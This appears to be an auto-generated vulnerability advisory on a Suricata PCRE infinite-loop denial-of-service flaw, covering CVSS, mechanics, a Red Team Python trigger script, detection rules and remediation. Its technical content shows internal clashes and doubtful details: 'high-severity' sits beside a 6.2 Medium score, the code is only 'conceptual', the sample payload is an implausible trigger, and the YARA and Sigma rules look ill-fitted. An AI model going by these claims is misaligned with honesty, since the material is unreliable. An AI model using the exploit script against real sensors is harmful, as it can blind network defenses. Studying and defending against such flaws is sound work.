CVE-2025-29918
Executive Summary
CVE-2025-29918 is a high-severity denial-of-service (DoS) vulnerability in Suricata, a widely used network intrusion detection and prevention system (IDS/IPS). The flaw resides in the PCRE (Perl Compatible Regular Expressions) engine, specifically when processing rules that utilize negated PCRE patterns. An attacker can craft a malicious network packet that triggers an infinite loop in a Suricata worker thread, causing the packet processing pipeline to hang. This effectively blinds the sensor and, in inline (IPS) mode, can cause network traffic to be dropped, leading to a complete denial of service for the protected network segment. The vulnerability is fixed in Suricata version 7.0.9.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Suricata is a critical component in many network security stacks, often deployed as a containerized service or installed via package managers (e.g., apt, yum, or from source). The vulnerability is in the core engine, not a third-party library, but the impact on the supply chain is significant: any organization relying on Suricata for network defense is at risk of having their primary visibility and enforcement point neutralized. Organizations using Suricata in Docker or Kubernetes environments should prioritize updating their images.
CVSS Breakdown & Threat Level
- CVSS Score: 6.2 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector (AV): Network (N) – The attack is launched remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action is required.
- Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
- Confidentiality (C): None (N) – No data is exposed.
- Integrity (I): None (N) – No data is modified.
- Availability (A): High (H) – The primary impact is a complete loss of availability.
Threat Level: High. While the CVSS score is 6.2, the practical impact in an inline IPS deployment is severe. An attacker can completely disable network defenses with a single crafted packet, making this a critical threat for operational security.
Deep Dive & Mechanics
The vulnerability is a classic infinite loop caused by a pathological regular expression. In PCRE, a negated character class (e.g., [^a]) matches any character except those specified. When combined with certain quantifiers and patterns, the PCRE engine can enter a state where it repeatedly fails to match but also fails to advance the input pointer, leading to an infinite loop.
Technical Breakdown:
- Negated PCRE: A rule like
alert http any any -> any any (msg:"Test"; content:"|00|"; pcre:"/[^a]*$/R"; sid:1;)uses a negated class[^a]with a greedy quantifier*and the$anchor. - Matching Logic: When Suricata processes a packet, it applies the PCRE rule. The engine attempts to match
[^a]*against the payload. If the payload contains only characters that are not 'a', the match succeeds. However, if the payload contains an 'a', the engine backtracks. - Infinite Loop Trigger: The specific vulnerability occurs when the PCRE pattern is designed such that the engine can repeatedly try and fail to match the negated class without consuming any input. This is often due to a zero-length match possibility combined with the
R(raw) or other PCRE options. The thread processing the packet becomes stuck in this loop, never returning control to the main Suricata loop. - Impact: In IDS mode, the sensor stops generating alerts. In IPS mode, the entire packet processing pipeline stalls, causing all subsequent packets to be dropped. The sensor becomes completely unresponsive until the process is restarted.
Vulnerable vs. Patched Code
The fix in Suricata 7.0.9 involves adding a safety check to the PCRE matching loop to detect and break out of infinite loops. The exact code change is in the PCRE handling routines.
Vulnerable Code (Conceptual):
// In pcre_exec or similar function
while (pcre_exec(...) == PCRE_ERROR_NOMATCH) {
// No advancement check - can loop forever
// ...
}
Patched Code (Conceptual):
// In pcre_exec or similar function
int match_count = 0;
while (pcre_exec(...) == PCRE_ERROR_NOMATCH) {
if (++match_count > MAX_MATCH_ATTEMPTS) {
// Break out of infinite loop
break;
}
// ...
}
The actual patch is more nuanced, involving changes to how the PCRE library is called and how results are processed, but the core principle is the addition of a loop counter or timeout to prevent indefinite execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A target running Suricata < 7.0.9 in IDS or IPS mode.
- A rule loaded that uses a negated PCRE pattern (e.g.,
pcre:"/[^a]*$/R";). - Network access to the target sensor.
Exploit Steps:
- Identify a Vulnerable Rule: Find or create a Suricata rule that uses a negated PCRE pattern. Example rule:
alert tcp any any -> any any (msg:"CVE-2025-29918 Test"; content:"|00|"; pcre:"/[^a]*$/R"; sid:1000001; rev:1;) - Craft the Trigger Packet: Send a TCP packet containing a payload that will trigger the infinite loop. The exact payload depends on the rule, but a simple payload like a single byte
0x00followed by a character that causes backtracking (e.g., 'a') is often sufficient.#!/usr/bin/env python3 import socket target_ip = "192.168.1.100" target_port = 80 # Payload that triggers the infinite loop payload = b"\x00" + b"a" * 100 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) try: sock.connect((target_ip, target_port)) sock.send(payload) print("Payload sent. Suricata should be stuck.") except Exception as e: print(f"Error: {e}") finally: sock.close() - Verify Denial of Service: The Suricata process will become unresponsive. In IPS mode, network traffic through the sensor will be dropped. In IDS mode, no new alerts will be generated.
Blue Team (Detection & Mitigation)
Detection:
- Monitor Suricata Process: Use
top,htop, orps auxto check if the Suricata process is consuming 100% CPU on a single core. - Check Packet Processing: Use
suricatascto query the stats. Ifdrop.pktsis increasing rapidly in IPS mode, or ifdecoder.pktsstops incrementing, the sensor may be stuck. - Network Monitoring: Look for a sudden drop in traffic passing through the sensor (in IPS mode) or a cessation of alerts.
Mitigation:
- Immediate: Restart the Suricata service to clear the stuck thread.
- Permanent: Upgrade to Suricata 7.0.9 or later.
- Workaround: If upgrading is not immediately possible, review and remove any PCRE rules that use negated character classes with the
Roption, or add a timeout to the PCRE matching in the configuration (if supported).
Indicators of Compromise (IOCs)
- Network Traffic:
- A single TCP packet with a payload that triggers the infinite loop. The exact pattern is rule-dependent, but it will involve a negated PCRE pattern.
- System Indicators:
- Suricata process consuming 100% CPU on one core.
- Suricata stats showing no new packets processed (
decoder.pktsstops incrementing). - In IPS mode, a sudden increase in
drop.pkts.
- Logs:
- Suricata logs may show repeated PCRE errors or warnings before the hang.
- System logs may show the Suricata process being killed by OOM killer or watchdog.
Detection Engineering
YARA Rule
rule CVE_2025_29918_Suricata_PCRE_Infinite_Loop {
meta:
description = "Detects Suricata PCRE rules that may trigger CVE-2025-29918"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-29918"
hash = "unknown"
strings:
$pcre_negated = /pcre:\"\/\[[^\]]*\]\*\$\/R\"/ nocase
$pcre_negated2 = /pcre:\"\/\[[^\]]*\]\+\$\/R\"/ nocase
condition:
any of them
}
Sigma Rule
title: Suricata PCRE Infinite Loop Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2025-29918 by monitoring Suricata process behavior
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/suricata'
CommandLine|contains: 'pcre'
condition: selection
falsepositives:
- Legitimate use of PCRE rules
level: medium
Suricata Rule (Detection)
alert tcp any any -> any any (msg:"CVE-2025-29918 Potential Exploit Attempt"; content:"|00|"; pcre:"/[^a]*$/R"; sid:1000002; rev:1;)
Note: This rule itself is vulnerable if run on an unpatched system. Use for detection only on patched systems.
Remediation & Mitigation
- Immediate Action:
- Upgrade Suricata to version 7.0.9 or later.
- If an immediate upgrade is not possible, restart the Suricata service periodically to clear any stuck threads.
- Configuration Hardening:
- Review all custom PCRE rules. Avoid using negated character classes with greedy quantifiers and the
Roption. - Implement a PCRE match timeout in the Suricata configuration (if supported by your version).
- Review all custom PCRE rules. Avoid using negated character classes with greedy quantifiers and the
- Network Segmentation:
- Deploy Suricata sensors in a way that a single sensor failure does not impact the entire network.
- Monitoring:
- Implement monitoring for Suricata process health (CPU usage, packet processing stats).
- Set up alerts for sudden drops in traffic or alert volume.
Valters IT
This report is generated for educational and defensive purposes. Always follow responsible disclosure practices.